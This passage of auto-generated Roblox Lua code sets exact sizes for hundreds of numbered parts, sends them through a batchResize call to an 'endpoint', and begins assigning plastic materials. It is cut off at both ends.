P[11], CFrame = P[11].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end if P[12] then resizeBatch[#resizeBatch+1] = {Part = P[12], CFrame = P[12].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end if P[14] then resizeBatch[#resizeBatch+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end if P[15] then resizeBatch[#resizeBatch+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(2.6999998092651367,0.4000000059604645,0.4000000059604645)} end if P[16] then resizeBatch[#resizeBatch+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(2.8999996185302734,0.4000000059604645,0.4000000059604645)} end if P[17] then resizeBatch[#resizeBatch+1] = {Part = P[17], CFrame = P[17].CFrame, Size = Vector3.new(1.5,0.30000001192092896,0.30000001192092896)} end if P[18] then resizeBatch[#resizeBatch+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(1.1999998092651367,0.30000001192092896,0.30000001192092896)} end if P[21] then resizeBatch[#resizeBatch+1] = {Part = P[21], CFrame = P[21].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end if P[22] then resizeBatch[#resizeBatch+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end if P[23] then resizeBatch[#resizeBatch+1] = {Part = P[23], CFrame = P[23].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end if P[24] then resizeBatch[#resizeBatch+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(0.42905598878860474,0.6280192136764526,0.30000001192092896)} end if P[25] then resizeBatch[#resizeBatch+1] = {Part = P[25], CFrame = P[25].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end if P[26] then resizeBatch[#resizeBatch+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end if P[27] then resizeBatch[#resizeBatch+1] = {Part = P[27], CFrame = P[27].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end if P[28] then resizeBatch[#resizeBatch+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end if P[29] then resizeBatch[#resizeBatch+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(0.5221536159515381,0.6407647728919983,0.30000001192092896)} end if P[30] then resizeBatch[#resizeBatch+1] = {Part = P[30], CFrame = P[30].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end if P[31] then resizeBatch[#resizeBatch+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(0.4992944002151489,0.6375759840011597,0.30000001192092896)} end if P[32] then resizeBatch[#resizeBatch+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(0.5733215808868408,0.6485615968704224,0.30000001192092896)} end if P[33] then resizeBatch[#resizeBatch+1] = {Part = P[33], CFrame = P[33].CFrame, Size = Vector3.new(0.05000000074505806,0.05000000074505806,0.05000000074505806)} end if P[34] then resizeBatch[#resizeBatch+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end if P[35] then resizeBatch[#resizeBatch+1] = {Part = P[35], CFrame = P[35].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end if P[36] then resizeBatch[#resizeBatch+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.7097551822662354,0.6268271803855896,0.30000001192092896)} end if P[37] then resizeBatch[#resizeBatch+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(0.5271903872489929,0.6485919952392578,0.30000001192092896)} end if P[38] then resizeBatch[#resizeBatch+1] = {Part = P[38], CFrame = P[38].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end if P[39] then resizeBatch[#resizeBatch+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(0.5268464088439941,0.6231951713562012,0.30000001192092896)} end if P[40] then resizeBatch[#resizeBatch+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(0.5962079763412476,0.6359935998916626,0.30000001192092896)} end if P[41] then resizeBatch[#resizeBatch+1] = {Part = P[41], CFrame = P[41].CFrame, Size = Vector3.new(15.080928802490234,0.6592376232147217,0.30000001192092896)} end if P[42] then resizeBatch[#resizeBatch+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(0.5563200116157532,0.6237024068832397,0.30000001192092896)} end if P[43] then resizeBatch[#resizeBatch+1] = {Part = P[43], CFrame = P[43].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end if P[44] then resizeBatch[#resizeBatch+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(0.6408944129943848,0.6514480113983154,0.30000001192092896)} end if P[45] then resizeBatch[#resizeBatch+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(0.17777119576931,0.6291071772575378,0.30000001192092896)} end if P[46] then resizeBatch[#resizeBatch+1] = {Part = P[46], CFrame = P[46].CFrame, Size = Vector3.new(0.4521600008010864,0.6187328100204468,0.30000001192092896)} end if P[151] then resizeBatch[#resizeBatch+1] = {Part = P[151], CFrame = P[151].CFrame, Size = Vector3.new(2,2,1)} end if P[673] then resizeBatch[#resizeBatch+1] = {Part = P[673], CFrame = P[673].CFrame, Size = Vector3.new(5,1,5)} end if P[685] then resizeBatch[#resizeBatch+1] = {Part = P[685], CFrame = P[685].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[706] then resizeBatch[#resizeBatch+1] = {Part = P[706], CFrame = P[706].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[561] then resizeBatch[#resizeBatch+1] = {Part = P[561], CFrame = P[561].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[667] then resizeBatch[#resizeBatch+1] = {Part = P[667], CFrame = P[667].CFrame, Size = Vector3.new(100,1,100)} end if P[675] then resizeBatch[#resizeBatch+1] = {Part = P[675], CFrame = P[675].CFrame, Size = Vector3.new(2,22,2)} end if P[736] then resizeBatch[#resizeBatch+1] = {Part = P[736], CFrame = P[736].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end if P[519] then resizeBatch[#resizeBatch+1] = {Part = P[519], CFrame = P[519].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[700] then resizeBatch[#resizeBatch+1] = {Part = P[700], CFrame = P[700].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[510] then resizeBatch[#resizeBatch+1] = {Part = P[510], CFrame = P[510].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[587] then resizeBatch[#resizeBatch+1] = {Part = P[587], CFrame = P[587].CFrame, Size = Vector3.new(6.97499942779541,3.4875006675720215,0.38750001788139343)} end if P[464] then resizeBatch[#resizeBatch+1] = {Part = P[464], CFrame = P[464].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end if P[611] then resizeBatch[#resizeBatch+1] = {Part = P[611], CFrame = P[611].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end if P[571] then resizeBatch[#resizeBatch+1] = {Part = P[571], CFrame = P[571].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end if P[635] then resizeBatch[#resizeBatch+1] = {Part = P[635], CFrame = P[635].CFrame, Size = Vector3.new(7.749999523162842,1.1625003814697266,6.975001335144043)} end if P[166] then resizeBatch[#resizeBatch+1] = {Part = P[166], CFrame = P[166].CFrame, Size = Vector3.new(0.7807660102844238,1.742316484451294,0.8536513447761536)} end if P[435] then resizeBatch[#resizeBatch+1] = {Part = P[435], CFrame = P[435].CFrame, Size = Vector3.new(8.20067024230957,4.3811798095703125,0.11233796924352646)} end if P[555] then resizeBatch[#resizeBatch+1] = {Part = P[555], CFrame = P[555].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[175] then resizeBatch[#resizeBatch+1] = {Part = P[175], CFrame = P[175].CFrame, Size = Vector3.new(0.942632257938385,1.2126444578170776,0.7589428424835205)} end if P[663] then resizeBatch[#resizeBatch+1] = {Part = P[663], CFrame = P[663].CFrame, Size = Vector3.new(7,1,7)} end if P[579] then resizeBatch[#resizeBatch+1] = {Part = P[579], CFrame = P[579].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end if P[657] then resizeBatch[#resizeBatch+1] = {Part = P[657], CFrame = P[657].CFrame, Size = Vector3.new(100,1,100)} end if P[470] then resizeBatch[#resizeBatch+1] = {Part = P[470], CFrame = P[470].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[767] then resizeBatch[#resizeBatch+1] = {Part = P[767], CFrame = P[767].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end if P[491] then resizeBatch[#resizeBatch+1] = {Part = P[491], CFrame = P[491].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end if P[607] then resizeBatch[#resizeBatch+1] = {Part = P[607], CFrame = P[607].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end if P[631] then resizeBatch[#resizeBatch+1] = {Part = P[631], CFrame = P[631].CFrame, Size = Vector3.new(7.749999523162842,0.3875000774860382,7.750001430511475)} end if P[770] then resizeBatch[#resizeBatch+1] = {Part = P[770], CFrame = P[770].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end if P[473] then resizeBatch[#resizeBatch+1] = {Part = P[473], CFrame = P[473].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[694] then resizeBatch[#resizeBatch+1] = {Part = P[694], CFrame = P[694].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end if P[615] then resizeBatch[#resizeBatch+1] = {Part = P[615], CFrame = P[615].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end if P[428] then resizeBatch[#resizeBatch+1] = {Part = P[428], CFrame = P[428].CFrame, Size = Vector3.new(17,1.5,1.6999998092651367)} end if P[575] then resizeBatch[#resizeBatch+1] = {Part = P[575], CFrame = P[575].CFrame, Size = Vector3.new(7.750001430511475,1.1625001430511475,0.7750000357627869)} end if P[627] then resizeBatch[#resizeBatch+1] = {Part = P[627], CFrame = P[627].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end if P[501] then resizeBatch[#resizeBatch+1] = {Part = P[501], CFrame = P[501].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[479] then resizeBatch[#resizeBatch+1] = {Part = P[479], CFrame = P[479].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[676] then resizeBatch[#resizeBatch+1] = {Part = P[676], CFrame = P[676].CFrame, Size = Vector3.new(1387,1,541)} end if P[595] then resizeBatch[#resizeBatch+1] = {Part = P[595], CFrame = P[595].CFrame, Size = Vector3.new(0.7750000357627869,6.975001335144043,0.38750001788139343)} end if P[656] then resizeBatch[#resizeBatch+1] = {Part = P[656], CFrame = P[656].CFrame, Size = Vector3.new(1387,1,541)} end if P[648] then resizeBatch[#resizeBatch+1] = {Part = P[648], CFrame = P[648].CFrame, Size = Vector3.new(12,1,12)} end if P[78] then resizeBatch[#resizeBatch+1] = {Part = P[78], CFrame = P[78].CFrame, Size = Vector3.new(4,0.5,3)} end if P[461] then resizeBatch[#resizeBatch+1] = {Part = P[461], CFrame = P[461].CFrame, Size = Vector3.new(8.313007354736328,4.493517875671387,0.11233796924352646)} end if P[669] then resizeBatch[#resizeBatch+1] = {Part = P[669], CFrame = P[669].CFrame, Size = Vector3.new(1387,1,783)} end if P[82] then resizeBatch[#resizeBatch+1] = {Part = P[82], CFrame = P[82].CFrame, Size = Vector3.new(1.7598299980163574,1.324947714805603,1.9481749534606934)} end if P[72] then resizeBatch[#resizeBatch+1] = {Part = P[72], CFrame = P[72].CFrame, Size = Vector3.new(3,0.5,2)} end if P[540] then resizeBatch[#resizeBatch+1] = {Part = P[540], CFrame = P[540].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end if P[703] then resizeBatch[#resizeBatch+1] = {Part = P[703], CFrame = P[703].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[619] then resizeBatch[#resizeBatch+1] = {Part = P[619], CFrame = P[619].CFrame, Size = Vector3.new(2.325000286102295,0.38750001788139343,2.7125003337860107)} end if P[751] then resizeBatch[#resizeBatch+1] = {Part = P[751], CFrame = P[751].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end if P[522] then resizeBatch[#resizeBatch+1] = {Part = P[522], CFrame = P[522].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end if P[204] then resizeBatch[#resizeBatch+1] = {Part = P[204], CFrame = P[204].CFrame, Size = Vector3.new(1.8390778303146362,1.9012384414672852,1.0733120441436768)} end if P[114] then resizeBatch[#resizeBatch+1] = {Part = P[114], CFrame = P[114].CFrame, Size = Vector3.new(0.7213894128799438,0.820060670375824,1.2430022954940796)} end if P[525] then resizeBatch[#resizeBatch+1] = {Part = P[525], CFrame = P[525].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[270] then resizeBatch[#resizeBatch+1] = {Part = P[270], CFrame = P[270].CFrame, Size = Vector3.new(17,0.5,3)} end if P[664] then resizeBatch[#resizeBatch+1] = {Part = P[664], CFrame = P[664].CFrame, Size = Vector3.new(1,20.1013126373291,98)} end if P[745] then resizeBatch[#resizeBatch+1] = {Part = P[745], CFrame = P[745].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,18.142240524291992)} end if P[670] then resizeBatch[#resizeBatch+1] = {Part = P[670], CFrame = P[670].CFrame, Size = Vector3.new(5,1,5)} end if P[732] then resizeBatch[#resizeBatch+1] = {Part = P[732], CFrame = P[732].CFrame, Size = Vector3.new(16.49294662475586,0.8246473670005798,24.73941993713379)} end if P[271] then resizeBatch[#resizeBatch+1] = {Part = P[271], CFrame = P[271].CFrame, Size = Vector3.new(15.5,9,0.10000000149011612)} end if P[532] then resizeBatch[#resizeBatch+1] = {Part = P[532], CFrame = P[532].CFrame, Size = Vector3.new(11.968605995178223,7.213444232940674,24.56649398803711)} end if P[671] then resizeBatch[#resizeBatch+1] = {Part = P[671], CFrame = P[671].CFrame, Size = Vector3.new(5,1,5)} end if P[268] then resizeBatch[#resizeBatch+1] = {Part = P[268], CFrame = P[268].CFrame, Size = Vector3.new(15.700000762939453,0.10000000149011612,0.5999998450279236)} end if P[558] then resizeBatch[#resizeBatch+1] = {Part = P[558], CFrame = P[558].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[567] then resizeBatch[#resizeBatch+1] = {Part = P[567], CFrame = P[567].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end if P[697] then resizeBatch[#resizeBatch+1] = {Part = P[697], CFrame = P[697].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[691] then resizeBatch[#resizeBatch+1] = {Part = P[691], CFrame = P[691].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[720] then resizeBatch[#resizeBatch+1] = {Part = P[720], CFrame = P[720].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end if P[476] then resizeBatch[#resizeBatch+1] = {Part = P[476], CFrame = P[476].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[653] then resizeBatch[#resizeBatch+1] = {Part = P[653], CFrame = P[653].CFrame, Size = Vector3.new(12,1,12)} end if P[528] then resizeBatch[#resizeBatch+1] = {Part = P[528], CFrame = P[528].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[677] then resizeBatch[#resizeBatch+1] = {Part = P[677], CFrame = P[677].CFrame, Size = Vector3.new(106,1,122)} end if P[650] then resizeBatch[#resizeBatch+1] = {Part = P[650], CFrame = P[650].CFrame, Size = Vector3.new(72,1,66.99858093261719)} end if P[661] then resizeBatch[#resizeBatch+1] = {Part = P[661], CFrame = P[661].CFrame, Size = Vector3.new(2,21,2)} end if P[599] then resizeBatch[#resizeBatch+1] = {Part = P[599], CFrame = P[599].CFrame, Size = Vector3.new(0.3875000774860382,4.262500762939453,7.750001430511475)} end if P[498] then resizeBatch[#resizeBatch+1] = {Part = P[498], CFrame = P[498].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[186] then resizeBatch[#resizeBatch+1] = {Part = P[186], CFrame = P[186].CFrame, Size = Vector3.new(1.1643550395965576,1.145603060722351,1.1628893613815308)} end if P[504] then resizeBatch[#resizeBatch+1] = {Part = P[504], CFrame = P[504].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[646] then resizeBatch[#resizeBatch+1] = {Part = P[646], CFrame = P[646].CFrame, Size = Vector3.new(12,1,12)} end if P[132] then resizeBatch[#resizeBatch+1] = {Part = P[132], CFrame = P[132].CFrame, Size = Vector3.new(1.6722400188446045,0.6320915222167969,1.0374350547790527)} end if P[623] then resizeBatch[#resizeBatch+1] = {Part = P[623], CFrame = P[623].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end if P[488] then resizeBatch[#resizeBatch+1] = {Part = P[488], CFrame = P[488].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[157] then resizeBatch[#resizeBatch+1] = {Part = P[157], CFrame = P[157].CFrame, Size = Vector3.new(0.7213890552520752,1.2634086608886719,0.8536258935928345)} end if P[507] then resizeBatch[#resizeBatch+1] = {Part = P[507], CFrame = P[507].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end if P[247] then resizeBatch[#resizeBatch+1] = {Part = P[247], CFrame = P[247].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729461193084717)} end if P[660] then resizeBatch[#resizeBatch+1] = {Part = P[660], CFrame = P[660].CFrame, Size = Vector3.new(2,20.101245880126953,2)} end if P[672] then resizeBatch[#resizeBatch+1] = {Part = P[672], CFrame = P[672].CFrame, Size = Vector3.new(5,1,5)} end if P[456] then resizeBatch[#resizeBatch+1] = {Part = P[456], CFrame = P[456].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.2246759682893753)} end if P[467] then resizeBatch[#resizeBatch+1] = {Part = P[467], CFrame = P[467].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[123] then resizeBatch[#resizeBatch+1] = {Part = P[123], CFrame = P[123].CFrame, Size = Vector3.new(0.7531499862670898,0.8905297517776489,0.7729460000991821)} end if P[773] then resizeBatch[#resizeBatch+1] = {Part = P[773], CFrame = P[773].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end if P[652] then resizeBatch[#resizeBatch+1] = {Part = P[652], CFrame = P[652].CFrame, Size = Vector3.new(1387,1,541)} end if P[655] then resizeBatch[#resizeBatch+1] = {Part = P[655], CFrame = P[655].CFrame, Size = Vector3.new(1385,1,541)} end if P[688] then resizeBatch[#resizeBatch+1] = {Part = P[688], CFrame = P[688].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end if P[761] then resizeBatch[#resizeBatch+1] = {Part = P[761], CFrame = P[761].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end if P[755] then resizeBatch[#resizeBatch+1] = {Part = P[755], CFrame = P[755].CFrame, Size = Vector3.new(1.6492947340011597,5.772531509399414,1.649296760559082)} end if P[549] then resizeBatch[#resizeBatch+1] = {Part = P[549], CFrame = P[549].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[741] then resizeBatch[#resizeBatch+1] = {Part = P[741], CFrame = P[741].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end if P[494] then resizeBatch[#resizeBatch+1] = {Part = P[494], CFrame = P[494].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[433] then resizeBatch[#resizeBatch+1] = {Part = P[433], CFrame = P[433].CFrame, Size = Vector3.new(4.156505584716797,0.22467593848705292,0.22467593848705292)} end if P[238] then resizeBatch[#resizeBatch+1] = {Part = P[238], CFrame = P[238].CFrame, Size = Vector3.new(0.811855137348175,1.1605454683303833,0.9022700786590576)} end if P[537] then resizeBatch[#resizeBatch+1] = {Part = P[537], CFrame = P[537].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end if P[729] then resizeBatch[#resizeBatch+1] = {Part = P[729], CFrame = P[729].CFrame, Size = Vector3.new(9.895766258239746,0.8246473670005798,0.8246473670005798)} end if P[227] then resizeBatch[#resizeBatch+1] = {Part = P[227], CFrame = P[227].CFrame, Size = Vector3.new(0.9424356818199158,1.2126445770263672,0.7589428424835205)} end if P[712] then resizeBatch[#resizeBatch+1] = {Part = P[712], CFrame = P[712].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[96] then resizeBatch[#resizeBatch+1] = {Part = P[96], CFrame = P[96].CFrame, Size = Vector3.new(0.7807660102844238,1.7423360347747803,0.8535981178283691)} end if P[546] then resizeBatch[#resizeBatch+1] = {Part = P[546], CFrame = P[546].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[724] then resizeBatch[#resizeBatch+1] = {Part = P[724], CFrame = P[724].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end if P[482] then resizeBatch[#resizeBatch+1] = {Part = P[482], CFrame = P[482].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end if P[603] then resizeBatch[#resizeBatch+1] = {Part = P[603], CFrame = P[603].CFrame, Size = Vector3.new(6.975001335144043,1.1625001430511475,7.3625006675720215)} end if P[639] then resizeBatch[#resizeBatch+1] = {Part = P[639], CFrame = P[639].CFrame, Size = Vector3.new(6.975001335144043,4.262500762939453,0.38750001788139343)} end if P[716] then resizeBatch[#resizeBatch+1] = {Part = P[716], CFrame = P[716].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end if P[265] then resizeBatch[#resizeBatch+1] = {Part = P[265], CFrame = P[265].CFrame, Size = Vector3.new(15.699999809265137,1.899999976158142,0.49999991059303284)} end if P[552] then resizeBatch[#resizeBatch+1] = {Part = P[552], CFrame = P[552].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[709] then resizeBatch[#resizeBatch+1] = {Part = P[709], CFrame = P[709].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[674] then resizeBatch[#resizeBatch+1] = {Part = P[674], CFrame = P[674].CFrame, Size = Vector3.new(5,1,5)} end if P[87] then resizeBatch[#resizeBatch+1] = {Part = P[87], CFrame = P[87].CFrame, Size = Vector3.new(0.7213894724845886,0.8200726509094238,1.2430260181427002)} end if P[583] then resizeBatch[#resizeBatch+1] = {Part = P[583], CFrame = P[583].CFrame, Size = Vector3.new(0.38750001788139343,4.262500762939453,7.750001430511475)} end if P[256] then resizeBatch[#resizeBatch+1] = {Part = P[256], CFrame = P[256].CFrame, Size = Vector3.new(0.8118550777435303,1.1605454683303833,0.9022700786590576)} end if P[105] then resizeBatch[#resizeBatch+1] = {Part = P[105], CFrame = P[105].CFrame, Size = Vector3.new(0.7213889956474304,1.2634233236312866,0.8535963296890259)} end if P[516] then resizeBatch[#resizeBatch+1] = {Part = P[516], CFrame = P[516].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[682] then resizeBatch[#resizeBatch+1] = {Part = P[682], CFrame = P[682].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end if P[485] then resizeBatch[#resizeBatch+1] = {Part = P[485], CFrame = P[485].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[564] then resizeBatch[#resizeBatch+1] = {Part = P[564], CFrame = P[564].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end if P[665] then resizeBatch[#resizeBatch+1] = {Part = P[665], CFrame = P[665].CFrame, Size = Vector3.new(100,1,100)} end if P[430] then resizeBatch[#resizeBatch+1] = {Part = P[430], CFrame = P[430].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end if P[543] then resizeBatch[#resizeBatch+1] = {Part = P[543], CFrame = P[543].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end if P[662] then resizeBatch[#resizeBatch+1] = {Part = P[662], CFrame = P[662].CFrame, Size = Vector3.new(61,1,225.18780517578125)} end if P[659] then resizeBatch[#resizeBatch+1] = {Part = P[659], CFrame = P[659].CFrame, Size = Vector3.new(2,21.10131072998047,2)} end if P[591] then resizeBatch[#resizeBatch+1] = {Part = P[591], CFrame = P[591].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end if P[513] then resizeBatch[#resizeBatch+1] = {Part = P[513], CFrame = P[513].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end if P[454] then resizeBatch[#resizeBatch+1] = {Part = P[454], CFrame = P[454].CFrame, Size = Vector3.new(0.33701393008232117,0.22467593848705292,0.2246759682893753)} end if P[458] then resizeBatch[#resizeBatch+1] = {Part = P[458], CFrame = P[458].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end if P[451] then resizeBatch[#resizeBatch+1] = {Part = P[451], CFrame = P[451].CFrame, Size = Vector3.new(8.650022506713867,0.22467593848705292,0.2246759682893753)} end if P[644] then resizeBatch[#resizeBatch+1] = {Part = P[644], CFrame = P[644].CFrame, Size = Vector3.new(70.99996185302734,1,68)} end batchResize(endpoint, resizeBatch) local materialBatch = {} if P[8] then materialBatch[#materialBatch+1] = {Part = P[8], Material = Enum.Material.Plastic} end if P[9] then materialBatch[#materialBatch+1] = {Part = P[9], Material = Enum.Material.Plastic} end if P[10] then materialBatch[#materialBatch+1] = {Part = P[10], Material = Enum.Material.Plastic} end if P[11] then materialBatch[#materialBatch+1] = {Part = P[11], Material = Enum.Material.Plastic} end if P[12] then materialBatch[#materialBatch+1] = {Part = P[12], Material = Enum.Material.Plastic} end if P[14] then materialBatch[#materialBatch+1] = {Part = P[14], Material = Enum.Material.Plastic} end if P[15] then materialBatch[#materialBatch+1] = {Part = P[15], Material = Enum.Material.Plastic} end if P[16] then materialBatch[#materialBatch+1] = {Part = P[16], Material = Enum.Material.Plastic} end if P[17] then materialBatch[#materialBatch+1] = {Part = P[17], Material = Enum.Material.Plastic} end if P[18] then materialBatch[#materialBatch+1] = {Part = P[18], Material = Enum.Material.Plastic} end if P[21] then materialBatch[#materialBatch+1] = {Part = P[21], Material = Enum.Material.SmoothPlastic} end if P[22] then materialBatch[#materialBatch+1] = {Part = P[22], Material = Enum.Material.SmoothPlastic} end if P[23] then materialBatch[#materialBatch+1] = {Part = P[23], Material = Enum.Material.SmoothPlastic} end if P[24] then materialBatch[#materialBatch+1] = {Part = P[24], Material = Enum.Material.SmoothPlastic} end if P[25] then materialBatch[#materialBatch+1] = {Part = P[25], Material = Enum.Material.SmoothPlastic} end if P[26] then materialBatch[#materialBatch+1] = {Part = P[26], Material = Enum.Material.SmoothPlastic} end if P[27] then materialBatch[#materialBatch+1] = {Part = P[27], Material = Enum.Material.SmoothPlastic} end if P[28] then materialBatch[#materialBatch+1] = {Part = P[28], Material = Enum.Material.SmoothPlastic} end if P[29] then materialBatch[#materialBatch+1] = {Part = P[29], Material = Enum.Material.SmoothPlastic} end if P[30] then materialBatch[#materialBatch+1] = {Part = P[30], Material = Enum.Material.SmoothPlastic} end if P[31] then materialBatch[#materialBatch+1] = {Part = P[31], Material = Enum.Material.SmoothPlastic} end if P[32] then materialBatch[#materialBatch+1] = {Part = P[32], Material = Enum.Material.SmoothPlastic} end if P[33] then materialBatch[#materialBatch+1] = {Part = P[33], Material = Enum.Material.Plastic} end if P[34] then materialBatch[#materialBatch+1] = {Part = P[34], Material = Enum.Material.SmoothPlastic} end if P[35] then materialBatch[#materialBatch+1] = {Part = P[35], Material = Enum.Material.SmoothPlastic} end if P[36] then materialBatch[#materialBatch+1] = {Part = P[36], Material = Enum.Material.SmoothPlastic} end if P[37] then materialBatch[#materialBatch+1] = {Part = P[37], Material = Enum.Material.SmoothPlastic} end if P[38] then materialBatch[#materialBatch+1] = {Part = P[38], Material = Enum.Material.SmoothPlastic} end if P[39] then materialBatch[#materialBatch+1] = {Part = P[39], Material = Enum.Material.SmoothPlastic} end if P[40] then materialBatch[#materialBatch+1] = {Part = P[40], Material = 